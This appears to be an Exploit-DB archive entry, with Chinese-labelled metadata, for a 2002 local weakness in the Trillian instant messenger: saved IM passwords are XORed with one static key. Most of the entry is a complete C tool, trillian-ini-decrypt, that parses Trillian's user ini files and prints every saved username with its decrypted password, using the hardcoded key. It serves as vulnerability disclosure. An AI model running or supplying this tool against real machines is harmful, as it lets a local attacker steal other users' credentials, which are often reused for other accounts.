标题: Trillian Instant Messaging 0.x - Credential Encryption EDB-ID: 21781 CVE: 2002-2162 类型: LOCAL 平台: WINDOWS 发布日期: 2002-09-09 漏洞利用脚本: // source: https://www.securityfocus.com/bid/5677/info

The Trillian instant messaging client uses weak encryption to store saved authentication credentials for instant messaging services. The credentials are encrypted by using XOR with a static key that is used with every installation of the software.

Local attackers may potentially exploit this weakness to gain access to another user's instant messaging credentials. 

/********************************
 * trillian-ini-decrypt
 * By The Coeus Group
 * http://www.coeus-group.com
 ********************************
 *  Software:  Trillian 0.73, possibly others.
 * Issue:  Weak "encryption" of saved passwords.
 * Impact:  Decryption of saved passwords.
 * Severity: Medium. ish. The program only works locally, and only
 *   if the subject has saved their password, and really
 *   if someone can get into your AIM account, how earth-
 *   shattering is that??? However, since a lot of people
 *   use the same password for everything... What's easier,
 *   getting the password from Trillian, or Wells Fargo???
 ********************************
 * Trillian is, according to trillian.cc, "...everything you need for instant
 * messaging. Connect to ICQ�, AOL Instant Messenger(SM), MSN Messenger, Yahoo!
 * Messenger and IRC in a single, sleek and slim interface."
 *
 * Upon examination of the Trillian directory (which defaults to
 * C:\Program Files\Trillian\ ), it appears that passwords are stored in
 * ini files that are located in {Path to Trillian}\users\{WindowsLogon}. The
 * passwords are encrypted using a simple XOR with a key apparently uniform
 * throughout every installation.
 *
 * This program takes, as command line argument(s), path(s) to these INI files.
 * It will then display a list of usernames, "encrypted" passwords, and plaintext
 * passwords.
 *
 * Evan Nemerson
 * enemerson@coeus-group.com */

#include <stdio.h>
#include <errno.h>
#include <stdlib.h>

#ifndef FALSE
#define FALSE 0
#endif

#ifndef TRUE
#define TRUE 1
#endif

void toupper(char* string);
int strlen(const char *s);
int strBeginsWith(const char *needle, const char *haystack);
int strIs(const char *subj, const char *eq);
void extractAcctounts(FILE *fp);
char *hex2str(char *string);
void decrypt();
void outPasswds();
void printhelp();
int main(int argc, char *argv[]);

struct account
{
 char username[64];
 char cyphertext[64];
 char plaintext[32];
};

extern int errno;
struct account *pAccounts[32];
short int nAccounts = 0;
char key[] =  "\xF3\x26\x81\xC4"
   "\x39\x86\xDB\x92"
   "\x71\xA3\xB9\xE6"
   "\x53\x7A\x95\x7C";

void toupper(char* string)
{
 short int x = 0;
 for ( x = 0 ; x < (strlen(string)) ; x++ )
 {
  if ( ( string[x] > 96 ) && ( string[x] < 123 ) )
   string[x] -= 32;
 }
}

int strlen(const char *s)
{
 short int n = 0;
 while ( s[n] != 0 )
  n++;
 return n;
}

int strBeginsWith(const char *needle, const char *haystack)
{
 short int x;

 if ( strlen(needle) > strlen(haystack) )
  return FALSE;

 for ( x = 0 ; x < strlen(needle) ; x++ )
 {
  if ( needle[x] != haystack[x] )
   return FALSE;
 }

 return TRUE;
}

int strIs(const char *subj, const char *eq)
{
 short int x;

 if ( strlen(subj) != strlen(eq) )
  return FALSE;
 for ( x = 0 ; x < strlen(subj) ; x++ )
 {
  if ( subj[x] != eq[x] )
   return FALSE;
 }

 return TRUE;
}

void extractAcctounts(FILE *fp)
{
 char buff[256], *ptr;
 int x;
 while ( !feof(fp) )
 {
  fgets(buff, 255, fp);
  if ( strBeginsWith("name=", buff) )
  {
   buff[strlen(buff)-1] = 0;
   pAccounts[nAccounts] = (struct account*)malloc(sizeof(struct account));
   if ( pAccounts[nAccounts] == NULL )
   {
    perror("Failed to malloc()");
    exit(errno);
   }
   ptr = pAccounts[nAccounts]->username;
   for ( x = 5 ; x < strlen(buff) ; x++ )
   {
    ptr[x-5] = buff[x];
   }
   ptr[x-5] = 0;
   nAccounts++;
  }
  if ( strBeginsWith("password=", buff) )
  {
   buff[strlen(buff)-1] = 0;
   ptr = pAccounts[nAccounts-1]->cyphertext;
   for ( x = 9 ; x < strlen(buff) ; x++ )
   {
    ptr[x-9] = buff[x];
   }
   ptr[x-9] = 0;
  }
 }
}

char *hex2str(char *string)
{
 int x=0,n=0,i=0;
 unsigned char hex[2];
 unsigned char *out;
 out = (unsigned char*)malloc((strlen(string)/2)+1);
 if ( out == NULL )
 {
  perror("Failed to malloc()");
  exit(errno);
 }

 // For hex number...
 for ( x = 0 ; x < strlen(string) ; x+=2 )
 {
  out[i] = 0;
  // Convert ASCII 0-F to decimal.
  hex[0] = string[x]-48;
  hex[1] = string[x+1]-48;
  for ( n = 0 ; n < 2 ; n++ )
  {
   if ( hex[n] > 9 )
    hex[n] -= 7;
  }
  out[i++] = (hex[0]*16)+hex[1];
 }
 out[i++] = 0;
 return out;
}

void decrypt()
{
 int n, x;
 char *plain, *cypher;

 for ( x = 0 ; x < nAccounts ; x++ )
 {
  cypher = hex2str(pAccounts[x]->cyphertext);
  plain  = pAccounts[x]->plaintext;

  for ( n = 0 ; n < (strlen(cypher)-1) ; n++ )
  {
   plain[n] = cypher[n] ^ key[n];
  }
 }
}

void outPasswds()
{
 int x;
 printf(
  "/----------------------------\\\n"
  "| trillian-ini-decrypt       |\n"
  "| By The Coeus Group         |\n"
  "| http://www.coeus-group.com |\n"
  "\\----------------------------/\n");
 printf("Found %d accounts.\n\n", nAccounts);
 for ( x = 0 ; x < nAccounts ; x++ )
 {
  printf( "Username:           : %s\n"
   "Password (encrypted): %s\n"
   "Password (decrypted): %s\n\n",
   pAccounts[x]->username,
   pAccounts[x]->cyphertext,
   pAccounts[x]->plaintext
  );
 }
}

void printhelp()
{
 printf( "Just put the path to Trillian INI file as command-line\n"
  "parameter. Don't forget to quote as needed. Will accept\n"
  "multiple files.\n");
 exit(0);
}

int main(int argc, char *argv[])
{
 short int x;
 FILE *fp;

 if ( ( argc < 2 ) ) { printhelp(); }
 if ( ( strIs(argv[1],     "-h") ) |
  ( strIs(argv[1], "--help") ) |
  ( strIs(argv[1],     "/?") )
 ) printhelp();

 for ( x = 1 ; x < argc ; x++ )
 {
  fp = fopen(argv[x], "r");
  if ( fp == NULL )
  {
   perror("Error");
   exit(errno);
  }
  extractAcctounts(fp);
 }

 decrypt();
 outPasswds();

 return 0;
} URL: https://www.exploit-db.com/exploits/21781